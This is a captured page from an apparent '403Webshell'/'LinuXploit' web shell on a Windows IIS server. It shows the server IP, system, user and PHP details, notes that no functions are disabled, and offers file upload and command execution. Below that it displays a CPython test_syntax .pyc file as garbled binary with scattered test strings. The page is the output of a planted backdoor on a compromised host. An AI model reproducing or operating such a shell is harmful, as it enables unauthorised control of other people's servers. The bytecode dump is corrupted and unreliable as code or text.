403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/__pycache__/test_syntax.cpython-315.opt-2.pyc
R
>lqj�c���]PHs]PHs]PHs]PHs]QHGsQQ\O2sQQ\O2sQQ\2s	Qs
\Q	6Xc\O2P!P!)
�)�supportc�T`�\sQsQsnQ
QksQ
QksQsQsQsQs	Qs
Q	sUsP!)�SyntaxWarningTesti;c��UO[U29^tt^2[VU2PPP2P!)%fhP!9h�N)�assertWarnsRegex�
SyntaxWarning�compile)�self�code�errtext�filename�modes&&&&&�%C:\Python315\\Lib\test\test_syntax.py�
check_warning�SyntaxWarningTest.check_warning<s0���
"�
"�=�'�
:�
:��D�D�)�;�
:�
:�
:�s�
7�A	�A	c���]PHoUOP	Q59^tt^2oUOQ2[VU2PPP2UO	W,2P!)%fhK$9h)r)�record�always)�warnings�catch_warnings�simplefilterr	�assertEqual)r
rr
rr�caughts&&&&  r�check_no_warning�"SyntaxWarningTest.check_no_warningEsS���
�
$�
$�D�
$�
1�
1�V��!�!�(�+��D�D�)�2�	
�����$�2�
1�s�A�A*	�#A*	c��[OQ2oUOUQ2[OQ2oUOUQ2[OQ2oUOUQ2P!)z�
            def f():
                try:
                    pass
                finally:
                    return 42
            z'return' in a 'finally' blockz�
            def f():
                try:
                    pass
                finally:
                    try:
                        return 42
                    except:
                        pass
            z�
            def f():
                try:
                    pass
                finally:
                    try:
                        pass
                    except:
                        return 42
            ��textwrap�dedentr�r
�sources& r�test_return_in_finally�(SyntaxWarningTest.test_return_in_finallyMst�����"���	
���6�#B�C����	"�	��	
���6�#B�C����	"�	��	
���6�#B�C�c�<�QFD�o[OQUQ02oUOUQUQ02[OQUQ02oUOUQUQ02[OQUQ02oUOUQUQ02J�	P!)	�breakz�
                for abc in range(10):
                    try:
                        pass
                    finally:
                        z
                �'z' in a 'finally' blockz�
                for abc in range(10):
                    try:
                        pass
                    finally:
                        try:
                            zR
                        except:
                            pass
                z�
                for abc in range(10):
                    try:
                        pass
                    finally:
                        try:
                            pass
                        except:
                            )r&�continuer)r
�kwr!s&  r�"test_break_and_continue_in_finally�4SyntaxWarningTest.test_break_and_continue_in_finallyos���'�B��_�_�*�
���&��F�
���v��2�$�.D�'E�F��_�_�*� �D�!�
	&�	�F�
���v��2�$�.D�'E�F��_�_�*� �D�!�	&�	�F�
���v��2�$�.D�'E�F�C(r$c�L�UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ	2UOQ
Q2UOQQ2UOQQ2P!)
�from . lazy import x�"did you mean 'lazy from . import'?zfrom . lazy import x as yzfrom . lazy import *zfrom .. lazy import xz#did you mean 'lazy from .. import'?zfrom ... lazy import xz$did you mean 'lazy from ... import'?zfrom .... lazy import xz%did you mean 'lazy from .... import'?zfrom . \
    lazy import xzfrom .\
lazy import xzfrom .	lazy import x)r�r
s&r�test_from_lazy_imports�(SyntaxWarningTest.test_from_lazy_imports�s������"�0�	
�	
���'�0�	
�	
���"�0�	
�	
���#�1�	
�	
���$�2�	
�	
���%�3�	
�	
���*�0�	
�	
���%�0�	
�	
���#�0�	
r$c��UOQ2UOQ2UOQ2UOQ2UOQ2UOQ2UOQ2UOQ2UOQ2UOQ	2UOQ
2UOQ2UOQ2UOQ
2UOQ2P!)zfrom .lazy import xzfrom .lazy import *zfrom ..lazy import xzfrom ...lazy import xzfrom .lazy.sub import xzfrom ..lazy.sub import xzfrom ...lazy.sub import xzfrom . lazier import xzfrom . lazy_module import xzfrom . lazy.sub import xzfrom . sub.lazy import xzfrom lazy import xzfrom lazy.sub import xzlazy from . lazy import xzfrom . import lazy)rr/s&r�test_not_from_lazy_imports�,SyntaxWarningTest.test_not_from_lazy_imports�s������3�4����3�4����4�5����5�6����7�8����8�9����9�:����6�7����;�<����8�9����8�9����2�3����6�7����9�:����2�3r$c	�>�]PHoUO29^tt^2UOQ[2UO	[
[OQ229^tt^2o[QQQ2PPP2PPP2UOWOO]2UOUOO]2UOUOO]2P!)%fhK�9h)%fhK�9h)r�errorr.r-�<test>�exec)rrrr�assertRaisesRegex�SyntaxError�re�escaper	r�	exception�lineno�offset�
end_offset)r
r�cms&  r�test_from_lazy_imports_as_error�1SyntaxWarningTest.test_from_lazy_imports_as_error�s����
�
$�
$�
&�
&��!�!�'�=�9��'�'���	�	�>�?�����.��&�A�	�'�	
������,�,�a�0�������,�,�a�0�������0�0�"�5����'�
&�s0�A	D�'C9	�5D�9D	
�D	
�D�D	�D	�)�
<testcase>r8)
�__name__�
__module__�__qualname__�__firstlineno__rrr"r*r0r3rB�__static_attributes__�__classdictcell__��
__classdict__s@rrr;s2����*�%� D�D"G�H%
�N4�"6�6r$rc�.`�\sQsQsnQ0QksQsQsQsQsQs	Qs
Q	sQ
sQs
QsQ
sQsQsQsQsQsQsQsQsQsQsQs\O8Q2s\O8Q2s\O8Q2s\O8Q2s Qs!Qs"Qs#Q s$Q!s%Q"s&Q#s'Q$s(Q%s)Q&s*\O8Q'2s+\O8Q(2s,\O8\OZ2Q)22s.Q*s/Q+s0Q,s1Q-s2Q.s3Q/s4Us5P!)1�SyntaxErrorTestCasei�c
��[VU2UOQ2P![Cc"o
S%c4[X�2%f#SOQSO*2[
OS[S
22oSeSOQS802SOS
OS2SdSOS
OS2SdSOS
OS2SdSOS
OS2S	d#SOS
OS	2Po
=
P!Po
=
P!Po
=
hh9h)z#compile() did not raise SyntaxErrorzSyntaxError is not a %szSyntaxError did not contain )r	�failr:�
isinstancerFr;�search�strrr
r>r?�
end_linenor@)r
rrr
r�subclassr>r?rUr@�err�mos&&&&&&&&&&  r�_check_error� SyntaxErrorTestCase._check_error�s��	=��D�D�)�$
�I�I�;�<��#�	=��
�3� 9� 9��	�	�3�h�6G�6G�G�H����7�C��H�-�B��z��	�	�g�G�H����S�\�\�8�4��!�� � ����V�4��!�� � ����V�4��%�� � �����<��%�� � �����<�<�&��	=�sC�"�
E�E�E
�E
�AE
�
4E
�E
�"E
�E
�"E
�
Ec�0�UOQQ]Q5P!)zprint(end1 + end2 = ' ')z=expression cannot contain assignment, perhaps you meant "=="?)r?�rYr/s&r�test_expression_with_assignment�3SyntaxErrorTestCase.test_expression_with_assignment�s�����&�K��	�	
r$c�0�UOQQQQ5P!)zf{}�invalid syntax�single�rr\r/s&r�1test_curly_brace_after_primary_raises_immediately�ESyntaxErrorTestCase.test_curly_brace_after_primary_raises_immediatelys�����%�!1���Ar$c�,�UOQQ2P!)zf() = 1�assignr\r/s&r�test_assign_call�$SyntaxErrorTestCase.test_assign_calls�����)�X�.r$c���UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQ	Q
2UOQQ2UOQQ2UOQ
Q2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQ Q2UOQ!Q"2UOQ#Q2P!)$zdel (,)r`zdel 1zcannot delete literalz
del (1, 2)zdel Nonezcannot delete Nonezdel *xzcannot delete starredzdel (*x)zcannot use starred expressionz	del (*x,)z	del [*x,]zdel f()zcannot delete function callzdel f(a, b)z	del o.f()z
del a[0]()z
del x, f()z
del f(), xzdel [a, b, ((c), (d,), e.f())]zdel (a if True else b)zcannot delete conditionalzdel +azcannot delete expressionz	del a, +bz	del a + bzdel (a + b, c)zdel (c[0], a + b)z
del a.b.c + 2zdel a.b.c[0] + 2zdel (a, b, (c, d.e.f + 2))zdel [a, b, (c, d.e.f[0] + 2)]zdel (a := 5)zcannot delete named expressionz
del a += br\r/s&r�test_assign_del�#SyntaxErrorTestCase.test_assign_dels������)�%5�6����'�#:�;����,�(?�@����*�&:�;����(�$;�<����*�&E�F����+�'>�?����+�'>�?����)�%B�C����-�)F�G����+�'D�E����,�(E�F����,�(E�F����,�(E�F����:�<Y�Z����2�4O�P����(�$>�?����+�'A�B����+�'A�B����*�,F�G����-�/I�J����/�+E�F����,�.H�I����6�8R�S����9�;U�V����.�*J�K�	
���,�(8�9r$c�4�QoUOUQ]Q5P!)z�if 1:
            def error(a):
                global a  # SyntaxError
            def error2():
                b = 1
                global b  # SyntaxError
            zparameter and global�r>r\r s& r�test_global_param_err_first�/SyntaxErrorTestCase.test_global_param_err_first%s!����	
���&�"8���Cr$c�4�QoUOUQ]Q5P!)z�if 1:
            def error(a):
                nonlocal a  # SyntaxError
            def error2():
                b = 1
                global b  # SyntaxError
            zparameter and nonlocalrmr\r s& r�test_nonlocal_param_err_first�1SyntaxErrorTestCase.test_nonlocal_param_err_first/s!����	
���&�":�1��Er$c�4�QoUOUQ]Q5P!)zKif 1:
        raise AssertionError() from None
        print(1,,2)
        r`rmr\r s& r�test_raise_from_error_message�1SyntaxErrorTestCase.test_raise_from_error_message9s!����	
���&�"2�1��=r$c�L�UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQ	Q2P!)
zif 0: yield�outside functionzif 0: yield
else:  x=1zif 1: pass
else: yieldzwhile 0: yieldzwhile 0: yield
else:  x=1zclass C:
  if 0: yieldz#class C:
  if 1: pass
  else: yieldzclass C:
  while 0: yieldz(class C:
  while 0: yield
  else:  x = 1r\r/s&r�test_yield_outside_function�/SyntaxErrorTestCase.test_yield_outside_function@s������-�8J�K����3�8J�K����3�8J�K����*�8J�K����6�8J�K����3�8J�K����A�,�	.����6�8J�K����F�,�	.r$c�L�UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQ	Q2P!)
zif 0: returnrwzif 0: return
else:  x=1zif 1: pass
else: returnzwhile 0: returnzclass C:
  if 0: returnzclass C:
  while 0: returnz'class C:
  while 0: return
  else:  x=1z$class C:
  if 0: return
  else: x= 1z$class C:
  if 1: pass
  else: returnr\r/s&r�test_return_outside_function�0SyntaxErrorTestCase.test_return_outside_functionMs������.�9K�L����4�9K�L����4�9K�L����+�9K�L����4�9K�L����7�9K�L����E�,�	.����B�,�	.����B�,�	.r$c�$�QoUOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5P!)	zoutside loopr&rmzif 0: breakzif 0: break
else:  x=1zif 1: pass
else: breakzclass C:
  if 0: breakz#class C:
  if 1: pass
  else: breakzwith object() as obj:
 breakr\�r
�msgs& r�test_break_outside_loop�+SyntaxErrorTestCase.test_break_outside_loop[s��������'�3�q��1����-��Q��7����3�S���C����3�S���C����3�S���C����A��a�	�	)����9��a�	�	)r$c��QoUOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5UOQU]Q5P!)znot properly in loopzif 0: continuermzif 0: continue
else:  x=1zif 1: pass
else: continuezclass C:
  if 0: continuez&class C:
  if 1: pass
  else: continuez"with object() as obj:
    continuer\r~s& r�test_continue_outside_loop�.SyntaxErrorTestCase.test_continue_outside_loopgs���$�����*�C���:����6��A��F����6��A��F����6��A��F����D��a�	�	)����?��a�	�	)r$c�8�UOQQ[Q5P!)z
foo()
 bar()
zunexpected indent�rV�rY�IndentationErrorr/s&r�test_unexpected_indent�*SyntaxErrorTestCase.test_unexpected_indentrs�����+�-@�#3�	�	5r$c�8�UOQQ[Q5P!)zif 1:
foo()zexpected an indented blockr�r�r/s&r�test_no_indent�"SyntaxErrorTestCase.test_no_indentvs�����.�*F�#3�	�	5r$c�8�UOQQ[Q5P!)zif 1:
  foo()
 bar()z unindent does not match .* levelr�r�r/s&r�test_bad_outdent�$SyntaxErrorTestCase.test_bad_outdentzs�����2�<�#3�	�	5r$c�,�UOQQ2P!)zint(base=10, '2')z,positional argument follows keyword argumentr\r/s&r�test_kwargs_last�$SyntaxErrorTestCase.test_kwargs_lasts�����-�H�	Jr$c�,�UOQQ2P!)zint(**{'base': 10}, '2')z6positional argument follows keyword argument unpackingr\r/s&r�test_kwargs_last2�%SyntaxErrorTestCase.test_kwargs_last2�s�����4�7�	8r$c�,�UOQQ2P!)zint(**{'base': 10}, *['2'])z>iterable argument unpacking follows keyword argument unpackingr\r/s&r�test_kwargs_last3�%SyntaxErrorTestCase.test_kwargs_last3�s�����7�7�	8r$c	�6�UOQQ]]]]5Q5P!)z<foo(x,    y for y in range(3) for z in range(2) if z    , p)z*Generator expression must be parenthesized�r>rUr?r@r\r/s&r�test_generator_in_function_call�3SyntaxErrorTestCase.test_generator_in_function_call�s%�����X�F�!"�q���	�	Lr$c	�6�UOQQ]]]]Q5P!)z9try: pass
except ValueError: pass
except* TypeError: pass�:cannot have both 'except' and 'except\*' on the same 'try'r�r\r/s&r�test_except_then_except_star�0SyntaxErrorTestCase.test_except_then_except_star��%�����W�W�!"�q��q�	�	Jr$c	�6�UOQQ]]]]Q5P!)z9try: pass
except* ValueError: pass
except TypeError: passr�r�r\r/s&r�test_except_star_then_except�0SyntaxErrorTestCase.test_except_star_then_except�r�r$c���Qo[UQQ2QoQo[UQQ2[UQQ2P![cSOQ2K?h9h[cSOQ2P!h9h)z\
pass
        \

pass
�<string>r8z8Empty line after a line continuation character is valid.zN\
def fib(n):
    \
'''Print a Fibonacci series up to n.'''
    \
a, b = 0, 1
zJ\
def fib(n):
    '''Print a Fibonacci series up to n.'''
    a, b = 0, 1
z/Indented statement over multiple lines is valid)r	r:rQ)r
�s�s1�s2s&   r�test_empty_line_after_linecont�2SyntaxErrorTestCase.test_empty_line_after_linecont�s���
��	R��A�z�6�*�
����
	I��B�
�F�+��B�
�F�+��%�	R��I�I�P�Q�	R��&�	I��I�I�G�H�	I�s+�
3�A�	A�A�A�	A5�A5�4A5c�B�QoUO[[U2P!)z(\
if x:
    y = 1
  \
  foo = 1
        )�assertRaisesr�r8�r
rs& r�!test_continuation_bad_indentation�5SyntaxErrorTestCase.test_continuation_bad_indentation�s����	
���*�D�$�7r$c��UOQQ2UOQQ2UOQQ2Q	FDo[QUQ0QQQ5J	P!)
zclass A[__classdict__]: passz?reserved name '__classdict__' cannot be used for type parameterzdef f[__classdict__](): passz,type T[__classdict__] = tuple[__classdict__]z
class A:
    class B[z]: pass
                rEr8rb)�	__class__�
__classcell__rK)rYr	)r
�names& r� test_disallowed_type_param_names�4SyntaxErrorTestCase.test_disallowed_type_param_names�st��	
���8�Y�	\����8�Y�	\����H�Y�	\�
H�D��
�
�F���"��
0�Hr$c���Po[]2FDCoUQU*Q0*
oUQU]**Q0*
oUQU*Q0*
oJE	UQQ0*
oUOUQ2P!)�z    ztry:
zraise Exception
zexcept Exception as e:
�pass�!too many statically nested blocksz0                                                )�rangerY)r
r�is&  r�test_nested_named_except_blocks�3SyntaxErrorTestCase.test_nested_named_except_blocks�s~�����r��A��v�a�x�j��'�'�D��v�q��s�|�n�$5�6�6�D��v�a�x�j� 8�9�9�D��	
�8�*�D�!�!�����$� C�Dr$c	��Qo]oU]*
o[U2FD<oUOQU8029^tt^2[UU2QQ2PPP2J>	[V3]*2FDAoUOQU8029^tt^2UOUU2Q2PPP2JC	P!)%fhJ�9h)%fhJl9h)c��[OQ2o[U2FDoUQUQ0*
oJ	UQ*
oU!)z]
                def bug():
                    with (
                    a
                �    as a�, a
�
): yield a)rrr���nrr�s&  r�get_code�OSyntaxErrorTestCase.test_with_statement_many_context_managers.<locals>.get_code�sG���?�?�$��D�
�1�X���(�1�#�U�+�+����L� �D��Kr$�within range: n=r�r8�out of range: n=r��r��subTestr	rY�r
r��CO_MAXBLOCKS�MAX_MANAGERSr�s&    r�)test_with_statement_many_context_managers�=SyntaxErrorTestCase.test_with_statement_many_context_managers�s���		���#�a�'���|�$�A���� 1�q�d�3�4�4�����Z��8�5�4�%��|�A�%5�6�A���� 1�q�d�3�4�4��!�!�(�1�+�/R�S�5�4�7�5�4�4��5�4�4��#�B6	�C
	�6C
�?C
�
C
�C
c	��Qo]oU]*
o[U2FD<oUOQU8029^tt^2[UU2QQ2PPP2J>	[V3]*2FDAoUOQU8029^tt^2UOUU2Q2PPP2JC	P!)%fhJ�9h)%fhJl9h)c���[OQ2,o[U2FDoUOQUQ02J	UOQ2PO	U2!)zi
                async def bug():
                    async with (
                    a
                r�r�r�)rrr��append�joinr�s&  rr��USyntaxErrorTestCase.test_async_with_statement_many_context_managers.<locals>.get_code
sY���_�_�&���D�
�1�X�����h�q�c��/�0���K�K��%��7�7�4�=� r$r�r�r8r�r�r�r�s&    r�/test_async_with_statement_many_context_managers�CSyntaxErrorTestCase.test_async_with_statement_many_context_managers�s���		!���#�a�'���|�$�A���� 1�q�d�3�4�4�����Z��8�5�4�%��|�A�%5�6�A���� 1�q�d�3�4�4��!�!�(�1�+�/R�S�5�4�7�5�4�4��5�4�4�r�c�0�QoUOUQ2P!)zw
def func1():
    if a != b:
        raise ValueError

def func2():
    try
        return 1
    finally:
        pass
zexpected ':'r\r�s& r�&test_barry_as_flufl_with_syntax_errors�:SyntaxErrorTestCase.test_barry_as_flufl_with_syntax_errors
s��
��	
���$��/r$c��UOQQ]]Q5UOQQ]]Q5UOQQ]]Q5P!)z	a = 3 \ 4�6unexpected character after line continuation character)r>r?z1,\#
2z
fgdfgf
1,\#
2
r\r/s&r�-test_invalid_line_continuation_error_position�ASyntaxErrorTestCase.test_invalid_line_continuation_error_position*
s^�����,�R�!"�1�	�	.�	
���*�R�!"�1�	�	.�	
���0�R�!"�1�	�	.r$c�P�UOQQ2UOQQ2P!)uA.Ɗ\ r�uA.μ\
zunexpected EOF while parsingr\r/s&r�-test_invalid_line_continuation_left_recursive�ASyntaxErrorTestCase.test_invalid_line_continuation_left_recursive5
s+��	
���-�R�	T����.�8�	:r$c�`�QFD oUOUQ*QUQ02J"	QFDoUOQUQ0QUQ02J	QFD oUOUQ*QUQ02J"	Q	oUOUQ
2UOQQ2Q
oUOUQ2P!)z([{z1 + 2�\z' was never closedza = z 1, 2, 3
b=3z)]}zunmatched '\r'zFfunc(
    a=["unclosed], # Need a quote in this comment: "
    b=2,
)
z8parenthesis '\)' does not match opening parenthesis '\['zmatch y:
 case e(e=v,v,z was never closeds.# coding=latin
(aaaaaaaaaaaaaaaaa
aaaaaaaaaaa�z'\(' was never closedr\)r
�parenrr�s&   r�test_error_parenthesis�*SyntaxErrorTestCase.test_error_parenthesis=
s����E����e�g�o��E�7�:L�/M�N���E�����U�G�=�9�R��w�FX�;Y�Z���E����e�g�o��u�g�Q�/G�H����	
���$� \�]����4�6I�J�
C�����!�5�6r$c���UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2P!)	z'blechz#unterminated string literal \(.*\)$z"blechz"blech\"zEunterminated string literal \(.*\); perhaps you escaped the end quotez	r"blech\"z'''blechz)unterminated triple-quoted string literalz"""blechr\r/s&r�test_error_string_literal�-SyntaxErrorTestCase.test_error_string_literalV
sr�����(�$J�K����(�$J�K�����a�	
�	
����b�	
�	
���*�&Q�R����*�&Q�Rr$c�P�UOQQ2UOQQ2P!)zprint("Hello")zinvalid non-printable characterswith(0,,):
r\r/s&r�test_invisible_characters�-SyntaxErrorTestCase.test_invisible_charactersc
s&�����.�0Q�R����-�/P�Qr$c�&�Qo[UQQ2P!)z)
def match(x):
    return 1+1

match(34)
r�r8�r	r�s& r�+test_match_call_does_not_raise_syntax_error�?SyntaxErrorTestCase.test_match_call_does_not_raise_syntax_errorg
�����	��j�&�)r$c�&�Qo[UQQ2P!)z'
def case(x):
    return 1+1

case(34)
r�r8r�r�s& r�*test_case_call_does_not_raise_syntax_error�>SyntaxErrorTestCase.test_case_call_does_not_raise_syntax_errorp
r�r$c�0�UOQQ]Q5P!)zcall(
a=1,
a=1
)zkeyword argument repeatedrmr\r/s&r�/test_multiline_compiler_error_points_to_the_end�CSyntaxErrorTestCase.test_multiline_compiler_error_points_to_the_endy
s�����!�'��	�	
r$c�0�UOQQ]Q5P!)z4print(
    "line1"
    "line2"
    "line3"
    x=1
)zPerhaps you forgot a commarmr\r/s&r�@test_multiline_string_concat_missing_comma_points_to_last_string�TSyntaxErrorTestCase.test_multiline_string_concat_missing_comma_points_to_last_string�
s$��	
���
�
)��	�		
r$c�0�QoUOUQ2P!)a�
while 1:
 while 2:
  while 3:
   while 4:
    while 5:
     while 6:
      while 8:
       while 9:
        while 10:
         while 11:
          while 12:
           while 13:
            while 14:
             while 15:
              while 16:
               while 17:
                while 18:
                 while 19:
                  while 20:
                   while 21:
                    while 22:
                     while 23:
                      break
r�r\r s& r�)test_syntax_error_on_deeply_nested_blocks�=SyntaxErrorTestCase.test_syntax_error_on_deeply_nested_blocks�
s����2	
���&�"E�Fr$c�8�QQ*Q*oQFDZoUOUQ59^tt^2UO[Q29^tt^2[UQU2PPP2PPP2J\	P!)%fhK9h)%fhJ�9h)�-i���4rbztoo complexr�)r8�evalra)r�r9�MemoryErrorr	)r
r!rs&  r�#test_error_on_parser_stack_overflow�7SyntaxErrorTestCase.test_error_on_parser_stack_overflow�
sk���v���#��.�D����4��(�(��+�+�K��H�H��F�J��5�I�)�(�/�H�H��)�(�(�s/�B	�A5
�B	�5B�>B�B	�B
�B
c��QoUO[29^tt^2[UQQ2PPP2P!)%fhP!9h)z,d{{{{{{{{{{{{{{{{{{{{{{{{{```{{{{{{{ef f():yr�r8)r�r:r	r s& r�test_deep_invalid_rule�*SyntaxErrorTestCase.test_deep_invalid_rule�
s6��
@��
�
�
�{�
+�
+��F�J��/�,�
+�
+�
+�s�9�A
	�A
	c�~�UO[OQ2Q]]]][Q2*Q5P!)z�
                try:
                    pass
                except ValueError as obj.attr:
                    pass
                z*cannot use except statement with attribute�obj.attr�rr>rUr?r@�rYrr�lenr/s&r� test_except_stmt_invalid_as_expr�4SyntaxErrorTestCase.test_except_stmt_invalid_as_expr�
sA������O�O��
�A�����C�
�O�+�	�	
r$c�~�UO[OQ2Q]]]][Q2*Q5P!)zn
                match 1:
                    case x as obj.attr:
                        ...
                z&cannot use attribute as pattern targetrrr
r/s&r�test_match_stmt_invalid_as_expr�3SyntaxErrorTestCase.test_match_stmt_invalid_as_expr�
s@������O�O��
�=�����C�
�O�+�	�
	
r$c�J�QoQFDoUOQU0U2J	P!)z8expected expression after 'else', but statement is givenzx = 1 if 1 else )
r��returnzreturn 2zraise Exception('a')zdel azyield 2zassert Falser&r(�import�
import ast�fromzfrom ast import *r\�r
r�stmts&  r�test_ifexp_else_stmt�(SyntaxErrorTestCase.test_ifexp_else_stmt�
s-��H��
�D�
��� 0���7��=�
r$c�L�QoQFDoUOQUQ0U2J	P!)�7expected expression before 'if', but statement is given�x = z if 1 else 1)r�r&r(r\rs&  r�$test_ifexp_body_stmt_else_expression�8SyntaxErrorTestCase.test_ifexp_body_stmt_else_expression�
s.��G��
�D�

����T�F�,�7��=�
r$c�T�QoQFDvq#UOQUQU0U2J	P!)rrz if 1 else ))r�r�)r&r�)r(rr\)r
r�lhs_stmt�rhs_stmts&   r�test_ifexp_body_stmt_else_stmt�2SyntaxErrorTestCase.test_ifexp_body_stmt_else_stmts5��G��#
��H�

����X�J�k�(��D�c�J�#
r$rD)rEr8NNNNN)6rFrGrHrIrYr]rcrgrjrnrqrtrxr{r�r�r�r�r�r�r�r�r�r�r�r�r�r�cpython_onlyr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�skip_wasi_stack_overflowrrrrr r%rJrKrLs@rrOrO�s�����=�<
�B�/�:�>D�F�>�.�.�
)�	)�5�5�5�
J�8�
8�
L�
J�
J�
I�@
8�
���0��0�$
���E��E�
���T��T�2
���T��T�20�"	.�:�7�2S�R�*�*�
�
�
���!G��!G�F
���6��6�
����%�%�'�0�(��0�
�"
� >�(>�K�Kr$rOc�X`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
UsP!)�LazyImportRestrictionTestCaseic�P�UOQQ2UOQQ2P!)z)try:
    lazy import os
except:
    pass
�0lazy import not allowed inside try/except blocksz@try:
    lazy from sys import path
except ImportError:
    pass
�9lazy from ... import not allowed inside try/except blocksr\r/s&r�test_lazy_import_in_try_block�;LazyImportRestrictionTestCase.test_lazy_import_in_try_block�6������
8�	9�	
����
A�	Br$c�P�UOQQ2UOQQ2P!)z6try:
    lazy import json
except* Exception:
    pass
r,zPtry:
    lazy from collections import defaultdict
except* ImportError:
    pass
r-r\r/s&r�!test_lazy_import_in_trystar_block�?LazyImportRestrictionTestCase.test_lazy_import_in_trystar_blockr0r$c�,�UOQQ2P!)zVtry:
    sys.modules # trigger the except block
except* Exception:
   lazy import sys
r,r\r/s&r� test_lazy_import_in_except_block�>LazyImportRestrictionTestCase.test_lazy_import_in_except_block/s������
8�	9r$c�P�UOQQ2UOQQ2P!)z!def func():
    lazy import math
�(lazy import not allowed inside functionsz3def func():
    lazy from datetime import datetime
�1lazy from ... import not allowed inside functionsr\r/s&r�test_lazy_import_in_function�:LazyImportRestrictionTestCase.test_lazy_import_in_function8�4������0�	1�
	
����9�	:r$c�P�UOQQ2UOQQ2P!)z0async def async_func():
    lazy import asyncio
r8z8async def async_func():
    lazy from json import loads
r9r\r/s&r�"test_lazy_import_in_async_function�@LazyImportRestrictionTestCase.test_lazy_import_in_async_functionDr<r$c�P�UOQQ2UOQQ2P!)z&class MyClass:
    lazy import typing
�&lazy import not allowed inside classesz,class MyClass:
    lazy from abc import ABC
z/lazy from ... import not allowed inside classesr\r/s&r�test_lazy_import_in_class�7LazyImportRestrictionTestCase.test_lazy_import_in_classPs4������.�	/�
	
����7�	8r$c�P�UOQQ2UOQQ2P!)zlazy from os import *z&lazy from ... import \* is not allowedz'def func():
    lazy from sys import *
r9r\r/s&r�test_lazy_import_star_forbidden�=LazyImportRestrictionTestCase.test_lazy_import_star_forbidden\s3��	
���1�B�	D�	
����9�	:r$c�(�UOQQ2UOQQ2UOQQ2UOQQ2UOQQ2UOQ	Q2UOQ
Q2UOQQ2P!)z;class Outer:
    def method(self):
        lazy import sys
r8z7def outer():
    class Inner:
        lazy import json
rAzIdef outer():
    def inner():
        lazy from collections import deque
r9zfrom os lazy import path
z6use 'lazy from ... ' instead of 'from ... lazy import'zfrom os.path lazy import join
zfrom .mod lazy import join
zfrom ..mod lazy import join
zfrom ...mod lazy import join
r\r/s&r�test_lazy_import_nested_scopes�<LazyImportRestrictionTestCase.test_lazy_import_nested_scopeshs�������0�		1�	
����.�		/�	
����9�		:�	
����=�	?�	
����=�	?�	
����=�	?�	
����=�	?�	
����=�	?r$c�p�[QQQ2[QQQ2[QQQ2[QQQ2P!)zlazy import osr7r8zlazy from sys import pathzlazy import json as jz(lazy from datetime import datetime as dtr�r/s&r�test_lazy_import_valid_cases�:LazyImportRestrictionTestCase.test_lazy_import_valid_cases�s8��	� �(�F�3��+�X�v�>��'��6�:��:�H�f�Mr$rD)rFrGrHrIr.r2r5r:r>rBrErHrKrJrKrLs@rr*r*s<����B� B� 9�
:�
:�
8�
:�"?�HN�Nr$r*c�P�UO[O22U!r)�addTest�doctest�DocTestSuite)�loader�tests�patterns&&&r�
load_testsrT�s��	�M�M�'�&�&�(�)��Lr$�__main__)
r;rOr�unittest�testr�TestCaserrOr*rTrF�mainrDr$r�<module>rZss��hY
�����[6��)�)�[6�|pK�(�+�+�pK�fFN�$7�FN�R�
�z���M�M�O�r$

Youez - 2016 - github.com/yon3zu
LinuXploit